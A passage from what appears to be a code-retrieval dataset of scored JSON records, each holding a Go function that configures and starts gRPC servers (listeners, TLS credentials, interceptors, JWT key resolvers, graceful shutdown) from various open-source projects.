*scd.Server\n\t\tauxServer = &aux.Server{}\n\t)\n\n\t// Initialize remote ID\n\n\tridCrdb, err := ConnectTo(ridc.DatabaseName)\n\tif err != nil {\n\t\treturn stacktrace.Propagate(err, \"Failed to connect to remote ID database; verify your database configuration is current with https://github.com/interuss/dss/tree/master/build#upgrading-database-schemas\")\n\t}\n\tridStore := ridc.NewStore(ridCrdb, logger)\n\n\terr = MustSupportRidSchema(ctx, ridStore)\n\tif err != nil {\n\t\treturn stacktrace.Propagate(err, \"Required remote ID schema not supported by database\")\n\t}\n\n\tridServer = &rid.Server{\n\t\tApp: application.NewFromTransactor(ridStore, logger),\n\t\tTimeout: *timeout,\n\t\tLocality: locality,\n\t}\n\tscopesValidators := auth.MergeOperationsAndScopesValidators(\n\t\trid.AuthScopes(), auxServer.AuthScopes(),\n\t)\n\n\t// Initialize strategic conflict detection\n\n\tif *enableSCD {\n\t\tscdCrdb, err := ConnectTo(scdc.DatabaseName)\n\t\tif err != nil {\n\t\t\treturn stacktrace.Propagate(err, \"Failed to connect to strategic conflict detection database; verify your database configuration is current with https://github.com/interuss/dss/tree/master/build#upgrading-database-schemas\")\n\t\t}\n\t\tscdStore := scdc.NewStore(scdCrdb, logger)\n\n\t\terr = MustSupportScdSchema(ctx, scdStore)\n\t\tif err != nil {\n\t\t\treturn stacktrace.Propagate(err, \"Required strategic conflict detection schema not supported by database\")\n\t\t}\n\n\t\tscdServer = &scd.Server{\n\t\t\tStore: scdStore,\n\t\t\tTimeout: *timeout,\n\t\t}\n\t\tscopesValidators = auth.MergeOperationsAndScopesValidators(\n\t\t\tscopesValidators, scdServer.AuthScopes(),\n\t\t)\n\t}\n\n\t// Initialize access token validation\n\n\tvar keyResolver auth.KeyResolver\n\tswitch {\n\tcase *pkFile != \"\":\n\t\tkeyResolver = &auth.FromFileKeyResolver{\n\t\t\tKeyFiles: strings.Split(*pkFile, \",\"),\n\t\t}\n\tcase *jwksEndpoint != \"\" && *jwksKeyIDs != \"\":\n\t\tu, err := url.Parse(*jwksEndpoint)\n\t\tif err != nil {\n\t\t\treturn stacktrace.Propagate(err, \"Error parsing JWKS URL\")\n\t\t}\n\n\t\tkeyResolver = &auth.JWKSResolver{\n\t\t\tEndpoint: u,\n\t\t\tKeyIDs: strings.Split(*jwksKeyIDs, \",\"),\n\t\t}\n\tdefault:\n\t\tlogger.Warn(\"operating without authorizing interceptor\")\n\t}\n\n\tauthorizer, err := auth.NewRSAAuthorizer(\n\t\tctx, auth.Configuration{\n\t\t\tKeyResolver: keyResolver,\n\t\t\tKeyRefreshTimeout: *keyRefreshTimeout,\n\t\t\tScopesValidators: scopesValidators,\n\t\t\tAcceptedAudiences: strings.Split(*jwtAudiences, \",\"),\n\t\t},\n\t)\n\tif err != nil {\n\t\treturn stacktrace.Propagate(err, \"Error creating RSA authorizer\")\n\t}\n\n\t// Set up server functionality\n\n\tinterceptors := []grpc.UnaryServerInterceptor{\n\t\tuss_errors.Interceptor(logger),\n\t\tlogging.Interceptor(logger),\n\t\tauthorizer.AuthInterceptor,\n\t\tvalidations.ValidationInterceptor,\n\t}\n\tif *dumpRequests {\n\t\tinterceptors = append(interceptors, logging.DumpRequestResponseInterceptor(logger))\n\t}\n\n\ts := grpc.NewServer(grpc_middleware.WithUnaryServerChain(interceptors...))\n\tif err != nil {\n\t\treturn stacktrace.Propagate(err, \"Error creating new gRPC server\")\n\t}\n\tif *reflectAPI {\n\t\treflection.Register(s)\n\t}\n\n\tridpb.RegisterDiscoveryAndSynchronizationServiceServer(s, ridServer)\n\tauxpb.RegisterDSSAuxServiceServer(s, auxServer)\n\tif *enableSCD {\n\t\tlogger.Info(\"config\", zap.Any(\"scd\", \"enabled\"))\n\t\tscdpb.RegisterUTMAPIUSSDSSAndUSSUSSServiceServer(s, scdServer)\n\t}\n\tlogger.Info(\"build\", zap.Any(\"description\", build.Describe()))\n\n\tgo func() {\n\t\tdefer s.GracefulStop()\n\t\t<-ctx.Done()\n\t}()\n\treturn s.Serve(l)\n}", "title": "" }, { "docid": "b969b7289a49011fe07730d5ad273a3a", "score": "0.67774117", "text": "func Serve(s *grpc.Server, lis net.Listener) error {\n\treflection.Register(s)\n\treturn s.Serve(lis)\n}", "title": "" }, { "docid": "03b974929182863d3ffdfa645223a2db", "score": "0.6758799", "text": "func (s *Server) Run(ctx context.Context, tlsConfig *tls.Config, listenAddress string) error {\n\t// Setup the grpc server using the passed TLS config\n\tcreds := credentials.NewTLS(tlsConfig)\n\tgrpcServer := grpc.NewServer(grpc.Creds(creds))\n\n\t// listen on the configured address\n\tlistener, err := net.Listen(\"tcp\", listenAddress)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to listen %s: %v\", listenAddress, err)\n\t}\n\n\t// register certificate service grpc API\n\tsecurityapi.RegisterIstioCertificateServiceServer(grpcServer, s)\n\n\t// handle termination gracefully\n\tgo func() {\n\t\t<-ctx.Done()\n\t\ts.readyz.Set(false)\n\t\ts.log.Info(\"shutting down grpc server\")\n\t\tgrpcServer.GracefulStop()\n\t\ts.log.Info(\"grpc server stopped\")\n\t}()\n\n\ts.log.Info(\"grpc serving\", \"address\", listener.Addr().String())\n\ts.readyz.Set(true)\n\n\treturn grpcServer.Serve(listener)\n}", "title": "" }, { "docid": "2b112d67f10602e8a328042fa66f0b84", "score": "0.67547715", "text": "func NewGRPCServer(aspectDispatcher adapterManager.AspectDispatcher, dispatcher runtime.Dispatcher, gp *pool.GoroutinePool) mixerpb.MixerServer {\n\tlist := attribute.GlobalList()\n\tglobalDict := make(map[string]int32, len(list))\n\tfor i := 0; i < len(list); i++ {\n\t\tglobalDict[list[i]] = int32(i)\n\t}\n\n\treturn &grpcServer{\n\t\tdispatcher: dispatcher,\n\t\taspectDispatcher: aspectDispatcher,\n\t\tgp: gp,\n\t\tglobalWordList: list,\n\t\tglobalDict: globalDict,\n\t}\n}", "title": "" }, { "docid": "c0483c91b6771c34af240bd56e0cc603", "score": "0.6749231", "text": "func newGRPCServer(listeningAddresses []string) *gRPCServer {\n\treturn &gRPCServer{\n\t\tserver: grpc.NewServer(grpc.MaxRecvMsgSize(MaxMessageSize), grpc.MaxSendMsgSize(MaxMessageSize)),\n\t\tlisteningAddresses: listeningAddresses,\n\t}\n}", "title": "" }, { "docid": "89c9e325173f764d7476927c8722c937", "score": "0.6741024", "text": "func (s *Server) Serve() error {\n\ttag := util.FuncName()\n\n\ts.WithFields(log.Fields{\n\t\t\"tag\": tag,\n\t\t\"pop-name\": s.Config.PopName,\n\t}).Info(\"starting server\")\n\n\tproto := s.Config.Proto\n\tif proto == \"\" {\n\t\tproto = pop.DefaultListenProtocol\n\t}\n\n\tladdr := s.Config.Netaddr\n\tif laddr == \"\" {\n\t\tladdr = pop.DefaultListenAddress\n\t}\n\n\tlis, err := net.Listen(proto, laddr)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\ts.svc, err = newService(s.Config, s.Logger)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\topts := []grpc.ServerOption{\n\t\tgrpc.StreamInterceptor(s.svc.streamInterceptor),\n\t\tgrpc.UnaryInterceptor(s.svc.unaryInterceptor),\n\t}\n\n\tif s.Config.TLSCertPath != \"\" && s.Config.TLSKeyPath != \"\" {\n\t\tcreds, err := credentials.NewServerTLSFromFile(s.Config.TLSCertPath, s.Config.TLSKeyPath)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\topts = append(opts, grpc.Creds(creds))\n\t}\n\n\ts.GRPCServer = grpc.NewServer(opts...)\n\n\n\tpop.RegisterPopServer(s.GRPCServer, s.svc)\n\n\ts.WithFields(log.Fields{\n\t\t\"tag\": tag,\n\t\t\"pop-name\": s.Config.PopName,\n\t}).Info(\"launching gRPC server\")\n\n\terr = s.GRPCServer.Serve(lis)\n\n\tif got, want := grpc.ErrorDesc(err), \"use of closed network connection\"; got != \"\" && !strings.Contains(got, want) {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "740933db81064cb3ead6f72bcf1680c9", "score": "0.6735377", "text": "func NewGrpcServer(addr string) (*GrpcServer, error) {\n\tif addr == \"\" {\n\t\taddr = \"0\"\n\t}\n\n\tgp := pool.NewGoroutinePool(1, true)\n\tinf := speedle.GetInfo()\n\ts := &GrpcServer{builder: inf.NewBuilder(),\n\t\tenv: handler.NewEnv(0, \"speedlegrpcadapter\", gp),\n\t\trawcfg: []byte{0xff, 0xff},\n\t}\n\tvar err error\n\tif s.listener, err = net.Listen(\"tcp\", addr); err != nil {\n\t\t_ = s.Close()\n\t\treturn nil, fmt.Errorf(\"unable to listen on socket: %v\", err)\n\t}\n\n\tfmt.Printf(\"listening on :%v\\n\", s.listener.Addr())\n\ts.server = grpc.NewServer()\n\tauthorization.RegisterHandleAuthorizationServiceServer(s.server, s)\n\n\treturn s, nil\n}", "title": "" }, { "docid": "c7e35e9bf55769b6e4326270e48a0f2e", "score": "0.67068815", "text": "func (g *GrpcWorker) Serve(serviceAddr string) error {\n\t//g.serviceAddr = serviceAddr\n\t// 开启RPC服务\n\tlis, err := net.Listen(\"tcp\", serviceAddr)\n\tif err != nil {\n\t\tlog.Errorf(\"监听gRPC端口失败:%v\", err)\n\t\treturn err\n\t}\n\n\t// gRPC通用启动流程\n\tvar opts []grpc.ServerOption\n\tg.rpcServer = grpc.NewServer(opts...)\n\n\tpingablepb.RegisterPingableInterfaceServer(g.rpcServer, &GrpcWorker{})\n\treflection.Register(g.rpcServer)\n\n\treturn g.rpcServer.Serve(lis)\n}", "title": "" }, { "docid": "ff2e9e56fe48064475abd970eca75c96", "score": "0.66998583", "text": "func NewGRPCServer(dispatcher dispatcher.Dispatcher, gp *pool.GoroutinePool, cache *checkcache.Cache) mixerpb.MixerServer {\n\tlist := attribute.GlobalList()\n\tglobalDict := make(map[string]int32, len(list))\n\tfor i := 0; i < len(list); i++ {\n\t\tglobalDict[list[i]] = int32(i)\n\t}\n\n\treturn &grpcServer{\n\t\tdispatcher: dispatcher,\n\t\tgp: gp,\n\t\tglobalWordList: list,\n\t\tglobalDict: globalDict,\n\t\tcache: cache,\n\t}\n}", "title": "" }, { "docid": "89b4e439dc5ec2809bf422e9fd473399", "score": "0.66950274", "text": "func ServeExternal(client client.Client, logger *logrus.Logger) error {\n\tgrpcServer, err := NewGRPCServer(client, logger)\n\tif err != nil {\n\t\tlogger.Fatalln(err)\n\t}\n\n\ts, err := server.NewServer(\n\t\tserver.WithGrpcServer(grpcServer),\n\t\tserver.WithGateway(\n\t\t\tgateway.WithGatewayOptions(\n\t\t\t\truntime.WithForwardResponseOption(forwardResponseOption),\n\t\t\t\truntime.WithIncomingHeaderMatcher(gateway.ExtendedDefaultHeaderMatcher(\n\t\t\t\t\trequestid.DefaultRequestIDKey)),\n\t\t\t\truntime.WithMarshalerOption(runtime.MIMEWildcard, &runtime.JSONPb{OrigName: true, EmitDefaults: true}),\n\t\t\t),\n\t\t\tgateway.WithServerAddress(fmt.Sprintf(\"%s:%s\", viper.GetString(\"server.address\"), viper.GetString(\"server.port\"))),\n\t\t\tgateway.WithEndpointRegistration(viper.GetString(\"gateway.endpoint\"), pb.RegisterAtlasFeatureFlagHandlerFromEndpoint),\n\t\t),\n\t\tserver.WithHandler(\"/swagger/\", NewSwaggerHandler(viper.GetString(\"gateway.swaggerFile\"))),\n\t)\n\tif err != nil {\n\t\tlogger.Fatalln(err)\n\t}\n\n\tgrpcL, err := net.Listen(\"tcp\", fmt.Sprintf(\"%s:%s\", viper.GetString(\"server.address\"), viper.GetString(\"server.port\")))\n\tif err != nil {\n\t\tlogger.Fatalln(err)\n\t}\n\n\thttpL, err := net.Listen(\"tcp\", fmt.Sprintf(\"%s:%s\", viper.GetString(\"gateway.address\"), viper.GetString(\"gateway.port\")))\n\tif err != nil {\n\t\tlogger.Fatalln(err)\n\t}\n\n\tlogger.Printf(\"serving gRPC at %s:%s\", viper.GetString(\"server.address\"), viper.GetString(\"server.port\"))\n\tlogger.Printf(\"serving http at %s:%s\", viper.GetString(\"gateway.address\"), viper.GetString(\"gateway.port\"))\n\n\treturn s.Serve(grpcL, httpL)\n}", "title": "" }, { "docid": "a7306f66c5a9777741500b457b52b0c4", "score": "0.6689472", "text": "func MakeGRPCServer(endpoints Endpoints) pb.HelloServer {\n\tserverOptions := []grpctransport.ServerOption{\n\t\tgrpctransport.ServerBefore(metadataToContext),\n\t}\n\treturn &grpcServer{\n\t\t// hello\n\n\t\thellov1: grpctransport.NewServer(\n\t\t\tendpoints.HelloV1Endpoint,\n\t\t\tDecodeGRPCHelloV1Request,\n\t\t\tEncodeGRPCHelloV1Response,\n\t\t\tserverOptions...,\n\t\t),\n\t}\n}", "title": "" }, { "docid": "8cf5e774acf9b7a9b626cfad251e5e0a", "score": "0.66882557", "text": "func NewGRPCAPI(l log.Logger, t *envoy.Translator) *grpc.Server {\n\ts := grpc.NewServer()\n\tlc := make(envoy.ListenerCache, 1)\n\tlc <- defaultListener()\n\tv2.RegisterClusterDiscoveryServiceServer(s, &CDS{\n\t\tClusterCache: t.ClusterCache,\n\t\tLogger: l.WithPrefix(\"CDS\"),\n\t})\n\tv2.RegisterEndpointDiscoveryServiceServer(s, &EDS{\n\t\tClusterLoadAssignmentCache: t.ClusterLoadAssignmentCache,\n\t\tLogger: l.WithPrefix(\"EDS\"),\n\t})\n\tv2.RegisterListenerDiscoveryServiceServer(s, &LDS{\n\t\tListenerCache: lc,\n\t\tLogger: l.WithPrefix(\"LDS\"),\n\t})\n\tv2.RegisterRouteDiscoveryServiceServer(s, &RDS{\n\t\tVirtualHostCache: t.VirtualHostCache,\n\t\tLogger: l.WithPrefix(\"RDS\"),\n\t})\n\treturn s\n}", "title": "" }, { "docid": "f473014e5c26267be7661fac765199c1", "score": "0.6680402", "text": "func (s *server) createGrpcServer() error {\n\tif s.server != nil {\n\t\treturn nil\n\t}\n\n\tif err := os.MkdirAll(filepath.Dir(s.options.Socket), sockets.DirPermissions); err != nil {\n\t\treturn serverError(\"failed to create directory for socket %s: %v\",\n\t\t\ts.options.Socket, err)\n\t}\n\n\tl, err := net.Listen(\"unix\", s.options.Socket)\n\tif err != nil {\n\t\tif ls, lsErr := utils.IsListeningSocket(s.options.Socket); ls || lsErr != nil {\n\t\t\treturn serverError(\"failed to create server: socket %q already exists\",\n\t\t\t\ts.options.Socket)\n\t\t}\n\t\ts.Warn(\"removing abandoned socket %q...\", s.options.Socket)\n\t\tos.Remove(s.options.Socket)\n\t\tl, err = net.Listen(\"unix\", s.options.Socket)\n\t\tif err != nil {\n\t\t\treturn serverError(\"failed to create server on socket %s: %v\",\n\t\t\t\ts.options.Socket, err)\n\t\t}\n\t}\n\n\ts.listener = l\n\n\tif s.options.User >= 0 {\n\t\tif err := s.Chown(s.options.User, s.options.Group); err != nil {\n\t\t\tl.Close()\n\t\t\ts.listener = nil\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif s.options.Mode != 0 {\n\t\tif err := s.Chmod(s.options.Mode); err != nil {\n\t\t\tl.Close()\n\t\t\ts.listener = nil\n\t\t\treturn err\n\t\t}\n\t}\n\n\ts.server = grpc.NewServer(instrumentation.InjectGrpcServerTrace()...)\n\ts.v1alpha2 = v1alpha2.NewServer(s.server)\n\n\treturn nil\n}", "title": "" }, { "docid": "cae36e97bbb3c68c6707fa294620131d", "score": "0.66803396", "text": "func runGRPC(grpcApp *kelvins.GRPCApplication) error {\n\tvar err error\n\n\t// 1. init application\n\terr = initApplication(grpcApp.Application)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif !appProcessNext {\n\t\treturn err\n\t}\n\n\t// 2 init grpc vars\n\terr = setupGRPCVars(grpcApp)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// 3. register service port\n\tportEtcd, err := appRegisterServiceToEtcd(grpcApp.Name, grpcApp.Port)\n\tif err != nil {\n\t\treturn err\n\t}\n\tgrpcApp.Port = portEtcd\n\n\t// 4. register grpc and http\n\tif grpcApp.RegisterGRPCServer != nil {\n\t\terr = grpcApp.RegisterGRPCServer(grpcApp.GRPCServer)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"registerGRPCServer err: %v\", err)\n\t\t}\n\t}\n\tif grpcApp.RegisterGateway != nil {\n\t\tvar opts []grpc.DialOption\n\t\topts = append(opts, grpc.WithInsecure())\n\t\terr = grpcApp.RegisterGateway(\n\t\t\tcontext.Background(),\n\t\t\tgrpcApp.GatewayServeMux,\n\t\t\tfmt.Sprintf(\":%d\", grpcApp.Port),\n\t\t\topts,\n\t\t)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"registerGateway err: %v\", err)\n\t\t}\n\t}\n\tif grpcApp.RegisterHttpRoute != nil {\n\t\terr = grpcApp.RegisterHttpRoute(grpcApp.Mux)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"registerHttpRoute err: %v\", err)\n\t\t}\n\t}\n\n\t// 5. register event producer\n\tif kelvins.EventServerAliRocketMQ != nil {\n\t\tlogging.Info(\"grpcApp Start event server\")\n\t\tif grpcApp.RegisterEventProducer != nil {\n\t\t\tappRegisterEventProducer(grpcApp.RegisterEventProducer, grpcApp.Type)\n\t\t}\n\t\tif grpcApp.RegisterEventHandler != nil {\n\t\t\tappRegisterEventHandler(grpcApp.RegisterEventHandler, grpcApp.Type)\n\t\t}\n\t}\n\n\t// 6. start server\n\tnetwork := \"tcp\"\n\tif kelvins.HttpServerSetting.Network != \"\" {\n\t\tnetwork = kelvins.HttpServerSetting.Network\n\t}\n\tkp := new(kprocess.KProcess)\n\tln, err := kp.Listen(network, fmt.Sprintf(\":%d\", grpcApp.Port), kelvins.PIDFile)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"kprocess listen(%s:%d) pidFile(%v) err: %v\", network, grpcApp.Port, kelvins.PIDFile, err)\n\t}\n\tlogging.Infof(\"start http server listen(%s:%d) \\n\", network, grpcApp.Port)\n\tgo func() {\n\t\terr = grpcApp.HttpServer.Serve(ln)\n\t\tif err != nil {\n\t\t\tlogging.Infof(\"grpcApp HttpServer serve err: %v\", err)\n\t\t}\n\t}()\n\n\t<-kp.Exit()\n\n\treturn err\n}", "title": "" }, { "docid": "b27f2ca943e61ba49318dca6afb9e8f1", "score": "0.6667234", "text": "func newgrpcServer(config *Config) (srv *grpcServer, err error) {\n\tsrv = &grpcServer{\n\t\tConfig: config,\n\t}\n\treturn srv, nil\n}", "title": "" }, { "docid": "547f7214673652dfb6b51357f178e0a4", "score": "0.6664676", "text": "func Start(logger *log.Logger, port int, storageAddr string, ip string) (wait func(), shutdown func(), err error) {\n\tvar wg sync.WaitGroup\n\n\tlis, err := net.Listen(\"tcp\", fmt.Sprintf(\"%s:%d\", ip, port))\n\tif err != nil {\n\t\tlogger.Fatalf(\"failed to open TCP port: %v\", err)\n\t\treturn nil, nil, err\n\t}\n\n\t// Create a cmux; multiplex grpc and http over the same listener.\n\tmux := cmux.New(lis)\n\n\t// Match connections in order: First grpc, then everything else for web.\n\t//\n\t// TODO(irfansharif): This is finicky when working with TLS; check what\n\t// cockroachdb/cockroach does.\n\tgrpcL := mux.Match(cmux.HTTP2HeaderField(\"content-type\", \"application/grpc\"))\n\thttpL := mux.Match(cmux.Any())\n\n\t// Setup grpc connection with the storage server.\n\t// TODO(irfansharif): This is currently over an insecure connection, needs\n\t// to be secure.\n\tstorageConn, err := grpc.Dial(storageAddr, grpc.WithInsecure())\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\tstorageClient := spb.NewStorageServiceClient(storageConn)\n\tmetadataServer := newMetadataServer(logger, storageClient)\n\n\tgrpcServer := grpc.NewServer()\n\tmpb.RegisterMetadataServiceServer(grpcServer, metadataServer)\n\n\thttpServer := http.Server{Handler: grpcweb.WrapServer(grpcServer)}\n\n\tticker := time.NewTicker(time.Hour * 24)\n\tgo func() {\n\t\tfor range ticker.C {\n\t\t\tmetadataServer.runGarbageCollection(context.Background())\n\t\t}\n\t}()\n\n\twg.Add(1)\n\tgo func() {\n\t\tdefer wg.Done()\n\n\t\tlogger.Infof(\"serving RPC server on port: %d\", port)\n\t\tif err := grpcServer.Serve(grpcL); err != nil {\n\t\t\tlogger.Errorf(\"grpc server error: %v\", err)\n\t\t}\n\n\t}()\n\n\twg.Add(1)\n\tgo func() {\n\t\tdefer wg.Done()\n\n\t\tlogger.Infof(\"serving HTTP server on port: %d\", port)\n\t\tif err := httpServer.Serve(httpL); err != nil {\n\t\t\tlogger.Errorf(\"http server error: %v\", err)\n\t\t}\n\t}()\n\n\twg.Add(1)\n\tgo func() {\n\t\tdefer wg.Done()\n\n\t\tif err := mux.Serve(); err != nil {\n\t\t\tlogger.Errorf(\"cmux server error: %v\", err)\n\t\t}\n\t}()\n\n\tshutdown = func() {\n\t\tstorageConn.Close()\n\t\tlis.Close()\n\t\tgrpcServer.Stop()\n\t\thttpServer.Shutdown(context.Background())\n\t\tticker.Stop()\n\t}\n\n\treturn wg.Wait, shutdown, nil\n}", "title": "" }, { "docid": "57027f03d48fa119a33c1ae8a7aef8c1", "score": "0.66611785", "text": "func main() {\n\n\tconfigEnvPrefix := *flag.String(\"p\", \"\", \"Specifies the prefix for configuration environment variables.\")\n\tconfigFilePath := *flag.String(\"c\", \"config.yml\", \"Specifies the file path for the config file.\")\n\tflag.BoolVar(&globals.VerboseLogging, \"v\", globals.VerboseLogging, \"Verbose logging.\")\n\tflag.Parse()\n\n\tconfig := config.MakeConfig(configFilePath, configEnvPrefix)\n\tensureStorageFoldersAreCreated(config)\n\n\ttarget := fmt.Sprintf(\"%v:%v\", config.Server.Host, config.Server.Port)\n\tlog.Printf(\"starting server on %v\\n\", target)\n\n\tlistener, err := net.Listen(\"tcp\", target)\n\tif err != nil {\n\t\tlog.Fatalf(\"could not start server on %v: %v\", target, err)\n\t}\n\n\tserver := grpc.NewServer()\n\ttopigoServer := topigo.MakeTopicoServer(config)\n\tserver.RegisterService(&topigo.Topigo_ServiceDesc, &topigoServer)\n\tif globals.VerboseLogging {\n\t\tlog.Println(\"waiting for connections ...\")\n\t}\n\tserver.Serve(listener)\n}", "title": "" }, { "docid": "afdfb9ce31654552aafe828fadea2d08", "score": "0.66591316", "text": "func NewRPCServer(mysvcName, listenURL string, opts ...Option) (*RPCServer, error) {\n\tvar server *grpc.Server\n\n\t// Create the RPC server instance with default values\n\trpcServer := &RPCServer{\n\t\tmysvcName: mysvcName,\n\t\tDoneCh: make(chan error, 2),\n\t\toptions: *defaultOptions(mysvcName, RoleServer),\n\t}\n\n\t// add custom options\n\tfor _, o := range opts {\n\t\tif o != nil {\n\t\t\to(&rpcServer.options)\n\t\t}\n\t}\n\n\tif rpcServer.options.logger == nil {\n\t\trpcServer.logger = log.WithContext(\"server\", mysvcName)\n\t}\n\n\t// some error checking\n\tif listenURL == \"\" {\n\t\trpcServer.logger.Errorf(\"Requires a URL to listen\")\n\t\treturn nil, errors.New(\"Requires a URL to listen\")\n\t}\n\n\t// Start a listener\n\tlis, err := net.Listen(\"tcp\", listenURL)\n\tif err != nil {\n\t\trpcServer.logger.Errorf(\"failed to listen to %s: Err %v\", listenURL, err)\n\t\treturn nil, err\n\t}\n\t// If started with \":0\", listenURL needs to be updated.\n\trpcServer.listenURL = lis.Addr().String()\n\trpcServer.listener = ListenWrapper(\n\t\tnewRPCKitListener(\n\t\t\tlis.(*net.TCPListener),\n\t\t\trpcServer.tcpKeepAlivePeriod,\n\t\t\trpcServer.listenerRateLimitConfig))\n\n\t// add default middlewares\n\tif rpcServer.enableStats {\n\t\trpcServer.middlewares = append(rpcServer.middlewares, rpcServer.stats) // stats\n\t}\n\tif rpcServer.enableLogger {\n\t\trpcServer.middlewares = append(rpcServer.middlewares, newLogMiddleware()) // logging\n\t}\n\tif rpcServer.enableTracer {\n\t\trpcServer.tracer = newTracerMiddleware(mysvcName)\n\t\trpcServer.middlewares = append(rpcServer.middlewares, rpcServer.tracer) // tracing\n\t}\n\n\tgrpcOpts := []grpc.ServerOption{\n\t\tgrpc.UnaryInterceptor(rpcServerUnaryInterceptor(rpcServer)),\n\t\tgrpc.StreamInterceptor(rpcServerStreamInterceptor(rpcServer)),\n\t\tgrpc.KeepaliveEnforcementPolicy(keepalive.EnforcementPolicy{MinTime: clientKeepaliveTime}),\n\t}\n\n\tif rpcServer.maxMsgSize != 0 {\n\t\tgrpcOpts = append(grpcOpts, grpc.MaxRecvMsgSize(rpcServer.maxMsgSize), grpc.MaxSendMsgSize(rpcServer.maxMsgSize))\n\t} else {\n\t\tgrpcOpts = append(grpcOpts, grpc.MaxRecvMsgSize(defaultMaxMsgSize), grpc.MaxSendMsgSize(defaultMaxMsgSize))\n\t}\n\n\t// Use default TLS provider unless user has passed in one\n\tif rpcServer.options.customTLSProvider == false {\n\t\ttlsProvider, err := GetDefaultTLSProvider(mysvcName)\n\t\tif err != nil {\n\t\t\trpcServer.logger.Errorf(\"Failed to instantiate TLS provider. Server name: %s, Err %v\", mysvcName, err)\n\t\t\trpcServer.Stop()\n\t\t\treturn nil, err\n\t\t}\n\t\trpcServer.tlsProvider = tlsProvider\n\t}\n\trpcServer.logger.Infof(\"Creating new server, name: %v listenURL: %v, TLS: %v\", mysvcName, listenURL, rpcServer.tlsProvider != nil)\n\n\t// get TLS options\n\tif rpcServer.tlsProvider != nil {\n\t\ttlsOptions, err := rpcServer.tlsProvider.GetServerOptions(mysvcName)\n\t\tif err != nil {\n\t\t\trpcServer.logger.Errorf(\"Failed to retrieve server TLS options. Server name: %s, Err %v\", mysvcName, err)\n\t\t\trpcServer.Stop()\n\t\t\treturn nil, err\n\t\t}\n\t\tgrpcOpts = append(grpcOpts, tlsOptions)\n\t}\n\n\t// save the grpc server instance\n\tserver = grpc.NewServer(grpcOpts...)\n\tif server == nil {\n\t\trpcServer.logger.Errorf(\"Error creating grpc server\")\n\t\trpcServer.Stop()\n\t\treturn nil, fmt.Errorf(\"Error creating grpc server\")\n\t}\n\trpcServer.GrpcServer = server\n\treturn rpcServer, nil\n}", "title": "" }, { "docid": "734e17dc9b3d4f7906ab1807924a5f27", "score": "0.6641072", "text": "func NewGRPC(incpts ...Interceptor) *grpc.Server {\n\tstm := make([]grpc.StreamServerInterceptor, len(incpts))\n\tuni := make([]grpc.UnaryServerInterceptor, len(incpts))\n\tfor i, incpt := range incpts {\n\t\tlog.Printf(\"Registering Interceptor - %T\", incpt)\n\t\tstm[i] = incpt.HandleStream\n\t\tuni[i] = incpt.HandleUnary\n\t}\n\treturn grpc.NewServer(\n\t\tgrpc_middleware.WithStreamServerChain(stm...),\n\t\tgrpc_middleware.WithUnaryServerChain(uni...),\n\t)\n}", "title": "" }, { "docid": "05e75aec3a1743cfaf4a9263550e8087", "score": "0.66303176", "text": "func (s *Server) Serve() error {\n\n\tif s == nil {\n\t\treturn fmt.Errorf(\"server uninitialized\")\n\t}\n\n\tif s.serverState == Shutdown {\n\t\treturn fmt.Errorf(\"server in shutdownGrpc state\")\n\t}\n\n\tif s.serverState == Running || s.serverState == Disconnected {\n\t\treturn fmt.Errorf(\"server in init or disconnected\")\n\t}\n\n\tlis, err := s.createListener()\n\tif err != nil {\n\t\tglog.Fatalf(\"failed create listener: %v\", err)\n\t\treturn err\n\t}\n\n\ts.wait.Add(1)\n\tgo func() {\n\t\tglog.Infof(\"[rpc server] Server started.\")\n\t\tdefer s.wait.Done()\n\n\t\tfor _, peerId := range s.peerSpec {\n\t\t\t// open connection to each peer in separate thread and block\n\t\t\tgo func(p ServerSpec) {\n\t\t\t\t// if already open\n\t\t\t\tif c, ok := s.peerClient[hash(p.RaftNetworkBind)]; ok {\n\t\t\t\t\t_ = c.Close()\n\t\t\t\t}\n\t\t\t\tglog.Infof(\"Attempting connect to a peer %v\", p.RaftNetworkBind)\n\t\t\t\tconn, err := grpc.Dial(p.RaftNetworkBind, grpc.WithInsecure(), grpc.WithBlock())\n\t\t\t\tif err != nil {\n\t\t\t\t\tglog.Fatalf(\"failed to connect to a peer: %v\", err)\n\t\t\t\t}\n\t\t\t\tglog.Infof(\"Connected to %v\", p.RaftNetworkBind)\n\n\t\t\t\t// add to map all connection handlers to server\n\t\t\t\ts.lock.Lock()\n\t\t\t\ts.peerClient[hash(p.RaftNetworkBind)] = conn\n\t\t\t\ts.lock.Unlock()\n\n\t\t\t}(peerId)\n\t\t}\n\n\t\ts.lock.Lock()\n\t\ts.serverState = Running\n\t\ts.lock.Unlock()\n\n\t\t// server added to wait group\n\t\ts.wait.Add(1)\n\t\tgo func() {\n\t\t\tif err := s.rpc.Serve(lis); err != nil {\n\t\t\t\tlog.Fatalf(\"[rpc server] failed serve: %v\", err)\n\t\t\t}\n\t\t\ts.lock.Lock()\n\t\t\tdefer s.lock.Unlock()\n\t\t\ts.listener = &lis\n\t\t\ts.wait.Done()\n\t\t}()\n\t}()\n\n\tlog.Printf(\"Server started.\")\n\n\ts.StartRest()\n\n\t<-s.quit\n\ts.wait.Wait()\n\n\tlog.Printf(\"Shutdown\")\n\tlis.Close()\n\n\treturn nil\n}", "title": "" }, { "docid": "c052a5415858bfdebb76dfcde9397877", "score": "0.66286016", "text": "func newRPCServer(agent *agent, listeners []net.Listener) *server {\n\tbackend := grpc.NewServer()\n\tserver := &server{agent: agent, Server: backend}\n\tpb.RegisterAgentServer(backend, server)\n\tfor _, listener := range listeners {\n\t\tgo backend.Serve(listener)\n\t}\n\treturn server\n}", "title": "" }, { "docid": "bd49f518fa2517449f3f1c16575f9f64", "score": "0.66257554", "text": "func main() {\n\t//grpc.EnableTracing = true\n\n\t//serveWithoutTLS()\n\tserveWithTLS()\n\n\t//http.ListenAndServe(\":9999\", nil)\n}", "title": "" }, { "docid": 